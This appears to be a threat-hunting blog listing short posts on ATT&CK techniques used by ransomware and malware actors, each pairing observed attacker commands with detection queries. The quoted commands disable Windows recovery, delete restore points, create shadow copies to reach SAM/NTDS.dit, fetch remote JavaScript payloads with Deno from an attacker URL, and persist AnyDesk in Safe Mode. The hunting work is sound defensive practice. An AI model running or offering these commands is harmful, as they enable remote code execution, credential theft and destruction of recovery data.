Posts

417. Ransomware Gangs Abuse Microsoft Windows Recovery Agent

Image
Hello everyone! Today, we’ll take another look at the Inhibit System Recovery (T1490) technique, this time focusing on how threat actors use the Microsoft Windows Recovery Agent. As you already know, attackers do not always limit themselves to deleting shadow copies. They may also disable other operating system recovery capabilities. In this case, the attackers also disabled the Windows Recovery Environment (WinRE). To do so, the Settra ransomware executed the following command: reagentc /disable Of course, this activity can be legitimate. Nevertheless, it is quite suitable for proactive threat hunting: event_type: "processcreatewin" AND proc_file_path: "reagentc.exe" AND cmdline: "disable" Once again, it is worth noting that although this was part of the ransomware’s functionality in this particular case, the same technique can also be used by attackers as part of their preparations for encrypting an IT environment. See you soon!

416. A Curious Case of Inhibit System Recovery

Image
Hello everyone! Ransomware doesn’t always involve particularly interesting techniques, but there are exceptions. Today, we’ll look at a noteworthy example of Inhibit System Recovery (T1490) . Let’s take a closer look at Monkey Ransomware and how it attempts to prevent a compromised system from being recovered. In addition to more common techniques, such as deleting shadow copies and the local Windows Backup catalog, the malware also disables System Restore and removes existing restore points: powershell.exe -Command "Disable-ComputerRestore -Drive C:\" powershell.exe -Command "Get-ComputerRestorePoint | Remove-ComputerRestorePoint -RestorePointType All" These actions are often performed immediately before or alongside the encryption process. However, attackers may also use scripts to disable recovery mechanisms before deploying the ransomware. This creates an interesting detection opportunity: if we can catch these commands before the ransomware is deployed, we may...

415. Threat Actors Abuse IronPython to Deliver Malware

Image
Hello everyone! As you know, threat actors frequently abuse various command and scripting interpreters at different stages of the attack lifecycle. Today, we’ll look at a less common example involving Python (T1059.006) . To develop hunting hypotheses, let’s take a look at Zscaler’s report on SloppyRAT. In particular, we’re interested in the section covering Python. First, the attackers used a renamed copy of curl.exe to download IronPython from GitHub: "C:\Users\[redacted]\AppData\Local\9342371634011778.com" -s -L --tlsv1.2 --ssl-no-revoke -o "C:\Users\[redacted]\AppData\Local\IronPython.3.4.2.pdf" github.com/IronLanguages/ironpython3/releases/download/v3.4.2/IronPython.3.4.2.zip In this case, we can hunt for suspicious IronPython downloads performed with cURL: event_type: "processcreatewin" AND proc_file_originalfilename: "curl.exe" AND cmdline: *ironpython* The attackers then used the downloaded interpreter to deliver CastleLoader, followed ...

414. That's How Threat Actors Abuse Direct Volume Access

Image
Hello everyone! Today, let’s take a look at Direct Volume Access (T1006) - a technique threat actors can use to bypass normal access controls and gain access to files they’re interested in, including those containing credentials. For example, attackers can access Volume Shadow Copies to get around file locks and access protected data. In this case, the threat actors made multiple attempts to dump the Security Account Manager (SAM) and access the NTDS.dit database. They then used vssadmin to create shadow copies of the C:\ and F:\ drives: vssadmin create shadow /for=C: vssadmin create shadow /for=F: While this activity can certainly be legitimate - for example, as part of backup or system administration tasks - the execution of these commands can also be a sign that an attacker is attempting to access files containing sensitive information. This makes activity like this worth hunting for proactively: event_type: "processcreatewin" AND proc_file_path: "vssadmin.exe...

413. Threat Actors Abuse Multiple Services for System Location Discovery

Image
Hello everyone! I hope you remember that collecting information about a compromised system is one of the most valuable stages from a threat hunting perspective. Today, let’s take a look at the following technique:  System Location Discovery (T1614) . Quite often, malware uses various legitimate web services to obtain information about the IP address of a compromised system. In this case, the attackers used several of them, namely: https://ipv4[.]ipleak[.]net/json/ https://get[.]geojs[.]io/v1/ip/geo[.]json https://ipapi[.]co/json/ https://api[.]ipapi[.]is/ https://ipinfo[.]io/json If some of these services are unfamiliar to you, they can serve as the basis for a hunting hypothesis, for example: event_type: "dnsreqwin" AND dns_rname: ("ipv4.ipleak.net" OR "get.geojs.io" OR "ipapi.co" OR "api.ipapi.is" OR "ipinfo.io") See you soon!

412. Threat Actors Abuse Deno to Run Remote JavaScript Payloads

Image
Hello everyone! Today, we’ll talk about JavaScript (T1059.007) and how attackers abuse a legitimate runtime. As part of another ClickFix campaign, the attackers used some pretty interesting techniques. First, they used winget.exe to download and install the Deno runtime. Second, they used Deno to execute a malicious payload from a remote server controlled by the attackers: deno.exe run -A hxxp://webstizkgao[.]com/v020def066f14754be9.js So, it looks like Deno could be a great hunting target: event_type: "processcreatewin" AND proc_file_originalfilename: "deno.exe" AND cmdline: "run" See you soon!

411. Ransomware Actors Control Systems in Safe Mode Using AnyDesk

Image
Hello everyone! As you probably know, the Modify Registry (T1112) technique allows attackers to accomplish a wide range of objectives throughout the attack lifecycle. Today, we’ll take a look at another interesting example. To bypass existing security controls, the ransomware actors - this time Akira (Neon Wolf) - once again took advantage of Windows Safe Mode. But the attackers needed a way to control the compromised system. For this, they used AnyDesk . To ensure that it would be launched even after rebooting into Safe Mode, they made the following registry modification: "C:\Windows\system32\reg.exe" add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\AnyDesk /ve /d Service Since this activity takes place immediately before the ransomware deployment begins, it may be the last opportunity to prevent damage. For example, it is worth monitoring for suspicious modifications to the relevant registry key: event_type: "registryvaluesetwin" AND reg_...